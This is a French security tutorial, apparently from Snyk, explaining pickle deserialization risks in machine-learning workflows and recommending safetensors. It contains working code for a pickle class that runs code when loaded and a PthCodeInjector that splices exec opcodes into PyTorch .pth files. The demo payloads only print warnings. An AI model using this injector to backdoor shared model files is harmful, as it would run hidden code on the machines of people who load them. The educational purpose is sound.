In this article
Empoisonnement de Pickle Python et portes dérobées dans les fichiers Pth
Le module pickle de Python est puissant pour la sérialisation d’objets, mais présente des risques de sécurité : la désérialisation de fichiers non fiables peut exécuter du code malveillant. C’est particulièrement important dans les workflows de machine learning qui utilisent des fichiers .pth partagés.
Nous allons présenter des exemples avec pickle et PyTorch. Commençons par vérifier votre configuration PyTorch.
# Check PyTorch Version, PyTorch GPU, torch cuda version
try:
import torch
print(f'PyTorch Version: {torch.__version__}')
print(f'Path: {torch.__file__}')
print(f'\nCUDA Available: {torch.cuda.is_available()}')
if torch.cuda.is_available():
print(f'CUDA Version: {torch.version.cuda}')
print(f'Graphics Card: {torch.cuda.get_device_name(0)}')
print(f'# of GPUs: {torch.cuda.device_count()}')
for i in range(torch.cuda.device_count()):
print(f'\nGPU {i} Details:')
print(f' Name: {torch.cuda.get_device_name(i)}')
print(f' Memory: {torch.cuda.get_device_properties(i).total_memory / 1024**3:.2f} GB')
else:
print('\nRunning on CPU only')
import multiprocessing
print(f'CPU Cores: {multiprocessing.cpu_count()}')
except ImportError:
print('PyTorch is not installed. Install with: pip install torch')
except Exception as e:
print(f'An error occurred: {str(e)}')Si vous devez installer PyTorch, la procédure peut varier considérablement selon votre configuration : il est conseillé de suivre les instructions ici.
Vous pouvez vérifier la version et le protocole de votre installation de pickle comme suit :
$ python3 -c "import pickle; print(f'Default Protocol: {pickle.DEFAULT_PROTOCOL}\nHighest Protocol: {pickle.HIGHEST_PROTOCOL}\nAll Available Protocols: {list(range(pickle.HIGHEST_PROTOCOL + 1))}')"
Le module pickle est inclus dans la bibliothèque standard de Python : il n’est donc pas nécessaire d’exécuter une commande d’installation telle que pip install pickle.
Qu’est-ce que Pickle en Python ?
La bibliothèque pickle est le protocole de sérialisation natif de Python. Elle peut stocker des objets Python complexes sous forme d’une séquence d’« opcodes », c’est-à-dire une série d’instructions exécutables permettant de reconstituer l’objet sérialisé. Pickle préserve même les références et les relations entre objets.
Nous allons maintenant examiner quelques exemples pratiques d’exécution de code arbitraire à l’aide de pickle.
Empoisonner des Pickles Python avec du code malveillant
Nous allons créer un fichier pickle et y insérer une instance de classe contenant du code arbitraire que nous voulons exécuter lors de la désérialisation du fichier. Nous montrerons ensuite comment un utilisateur final pourrait charger ce fichier pickle et ainsi être exposé à cette vulnérabilité.
import pickle
import random
# Generate random tabular data for our example
tabular_data = [
{
"id": i,
"name": f"Item-{i}",
"value": random.randint(1, 100),
"category": random.choice(['A', 'B', 'C'])
}
for i in range(1, 6)
]
# Store the pickle data in a file named 'payload.pkl'
# At this stage, payload.pkl would behave as expected with no potentially malicious side effects during deserialization.
with open('payload.pkl', 'wb') as f:
pickle.dump(tabular_data, f)
# Our class containing arbitrary code we want to execute:
class Malicious:
def __reduce__(self):
# The following code will execute during deserialization
return (print, ("Hello World! Only load pkl files from trusted sources!",))
# Replace original data with malicious code
malicious_payload = Malicious()
# Store potentially malicious pickle data in the same file
with open('payload.pkl', 'wb') as f:
pickle.dump([tabular_data, malicious_payload], f)
# Load the pickle file to show potentially malicious side effects
print("Loading the pickle file 'payload.pkl':")
with open('payload.pkl', 'rb') as f:
data = pickle.load(f)
# Verify the content of the loaded data
print("\nLoaded data:")
print(data)Dans notre exemple, nous affichons simplement Hello World. Mais un échantillon malveillant pourrait contenir un rançongiciel.
Empoisonner des fichiers Pth de modèles PyTorch avec du code malveillant
Une méthode similaire d’intégration de code malveillant peut être appliquée aux fichiers pth.
import torch
import torchvision.models as models
import zipfile
import struct
from pathlib import Path
class PthCodeInjector:
"""Minimal implementation to inject code into PyTorch pickle files. (ZIP file with data.pkl)"""
def __init__(self, filepath: str):
self.filepath = Path(filepath)
def inject_payload(self, code: str, output_path: str):
"""Inject Python code into the pickle file."""
# Read original pickle from zip
with zipfile.ZipFile(self.filepath, "r") as zip_ref:
data_pkl_path = next(name for name in zip_ref.namelist() if name.endswith("/data.pkl"))
pickle_data = zip_ref.open(data_pkl_path).read()
# Find insertion point after protocol bytes
i = 2 # Skip PROTO opcode and version byte
# Create exec sequence with protocol 4 pickle opcodes
exec_sequence = (
b'c' + b'builtins\nexec\n' + # GLOBAL opcode + module + attr
b'(' + # MARK opcode
b'\x8c' + struct.pack('<B', len(code)) + code.encode('utf-8') + # SHORT_BINUNICODE
b't' + # TUPLE
b'R' # REDUCE
)
# Insert exec sequence after protocol bytes
modified_pickle = pickle_data[:i] + exec_sequence + pickle_data[i:]
# Write modified pickle back to zip
with zipfile.ZipFile(output_path, 'w') as new_zip:
with zipfile.ZipFile(self.filepath, 'r') as orig_zip:
for item in orig_zip.infolist():
if item.filename.endswith('/data.pkl'):
new_zip.writestr(item.filename, modified_pickle)
else:
new_zip.writestr(item.filename, orig_zip.open(item).read())
# Example and validation
if __name__ == "__main__":
# Create and save original model
torch.manual_seed(0) # For reproducibility and comparing the outputs of the models
model = models.mobilenet_v2()
model.eval()
torch.save(model, "mobilenet.pth")
# Test original model
test_input = torch.randn(1, 3, 224, 224)
original_output = model(test_input)
# Inject payload
modifier = PthCodeInjector("mobilenet.pth")
modifier.inject_payload("print('Hello world! Only load pth files from trusted sources!')", "modified.pth")
# Load and test modified model
modified_model = torch.load("modified.pth") # Should print warning
modified_model.eval()
modified_output = modified_model(test_input)
# Verify models are identical
print("\nVerifying model equivalence:")
print(f"Structure matches: {str(model) == str(modified_model)}")
print(f"Outputs match: {torch.allclose(original_output, modified_output)}")
print(f"Parameters match: {all(torch.equal(p1, p2) for p1, p2 in zip(model.parameters(), modified_model.parameters()))}")On pourrait procéder de façon plus élégante et polyvalente en utilisant fickling pour injecter directement le code. Mais ce code nous permet d’examiner simplement le mécanisme à l’origine de cette vulnérabilité. Dans ce cas, les opcodes qui composent le fichier pickle sont chargés, puis notre code potentiellement malveillant est injecté entre les opcodes existants, de sorte que l’utilisateur final qui charge ce modèle ne remarque aucune différence dans son fonctionnement.
Partager les poids des modèles avec Safetensors
Dans l’idéal, les poids des réseaux neuronaux devraient être partagés dès le départ au format safetensors. Nous pouvons modifier l’exemple ci-dessus pour montrer comment exporter des données vers ce format dans PyTorch.
import torch
from torch import nn
from safetensors.torch import save_file, load_file
# Example PyTorch model (a simple feed-forward neural network)
class SimpleModel(nn.Module):
def __init__(self):
super(SimpleModel, self).__init__()
self.fc1 = nn.Linear(10, 50)
self.fc2 = nn.Linear(50, 2)
def forward(self, x):
x = torch.relu(self.fc1(x))
return self.fc2(x)
# Create an instance of the model
model = SimpleModel()
# Generate some random weights (or assume it's a trained model)
example_input = torch.randn(1, 10)
output = model(example_input) # Forward pass with random input
# Save the model's weights to Safetensors format
weights = model.state_dict() # Get the state dictionary of the model
save_file(weights, "model.safetensors")
# Loading the model's weights from Safetensors format
loaded_weights = load_file("model.safetensors")
model.load_state_dict(loaded_weights)
# Verify loading worked by making another forward pass
output = model(example_input)
print("\nModel output after loading weights from 'model.safetensors':")
print(output)Le fichier safetensors obtenu contient les poids correspondants, qui peuvent être associés à l’architecture déjà définie dans le code afin de charger entièrement le modèle. Cependant, de nombreux modèles, en particulier les plus anciens, n’ont pas adopté ce workflow. Les fichiers pickle sont toujours largement distribués, et le format de sérialisation pickle reste celui utilisé par défaut lors de l’enregistrement de réseaux neuronaux entraînés dans PyTorch.
Autres exploitations de la désérialisation d’objets
Les poids des réseaux neuronaux ne sont pas les seules données stockées dans des formats de sérialisation d’objets comme pickle. Des jeux de données entiers sont souvent également enregistrés dans des fichiers pickle. En R, par exemple, les jeux de données sont souvent stockés dans des fichiers RDS.
Il est également possible d’intégrer du code malveillant directement dans les tenseurs — les poids du modèle eux-mêmes — en encodant ce code dans de si petites perturbations des poids que l’impact sur la précision du modèle reste minime. Ce procédé s’appelle la stéganographie des tenseurs. Il peut être combiné à des exploits de désérialisation de pickle pour créer un vecteur d’attaque particulièrement furtif : pickle peut sembler simplement désérialiser un tenseur alors qu’en réalité, il reconstruit aussi du code malveillant en mémoire pour l’exécuter. Cela nécessite toutefois d’exploiter la vulnérabilité du format pickle ; safetensors ne reconstruirait pas le code malveillant intégré en mémoire et ne l’exécuterait pas.
Les workflows d’IA générative peuvent également inclure des fichiers permettant de personnaliser et d’étendre les capacités d’un modèle de base. Les utilisateurs téléchargent souvent des LORA, des ControlNets, des variantes d’IPAdapter ou encore des checkpoints Textual Inversion. Les mêmes principes généraux s’appliquent à ces types de fichiers : les LORA sont couramment partagés au format safetensors, mais c’est moins souvent le cas des autres formats. Soyez prudent lorsque vous téléchargez des fichiers sérialisés avec pickle.
Pour aller plus loin avec des exercices pratiques
Snyk propose un événement CTF (Capture The Flag) qui repose sur cet exploit et vous apprend à exploiter les vulnérabilités liées à Python Pickle. Le laboratoire d’exploitation Python s’appelle Sauerkraut et est présenté par John Hammond ici.
Pour en savoir plus sur la sécurité des applications Python et les vulnérabilités telles que l’injection de code, l’injection XPath et d’autres encore, nous vous recommandons vivement de consulter les leçons de sécurité Python pour développeurs de Snyk Learn.

Snyk donne la priorité à l’expérience des développeurs
Découvrez pourquoi l’expérience des développeurs est si essentielle et comment les dernières fonctionnalités de Snyk la rendent plus fluide.